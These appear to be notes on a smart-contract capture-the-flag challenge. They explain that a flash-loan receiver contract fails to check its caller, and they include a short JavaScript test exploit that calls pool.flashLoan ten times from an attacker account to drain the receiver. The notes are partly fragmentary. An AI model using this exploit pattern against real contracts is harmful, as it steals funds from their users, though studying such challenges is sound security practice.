The issue here is that the user contract does not authenticate the user to be the owner, so anyone can just take any flash loan on behalf of that contract.

It checks if msg.sender is the flash loan contract but this is always the case as the callback function is invoked from the flash loan contract.

Cannot check the msg.sedner is admin or not in fallback function

⇒ Contract should check the msg.sender is owner or not.

✅ Anyone can execute flashLoan function so, contract need to check the msg.sender equal to owner of pool

it("Exploit", async function () {
    /** YOUR EXPLOIT GOES HERE */
    for (let i = 0; i < 10; i++) {
      await pool.flashLoan(this.receiver.address, ether("0"), {
        from: attacker,
      });
    }
  });

4 tx.origin msg.sender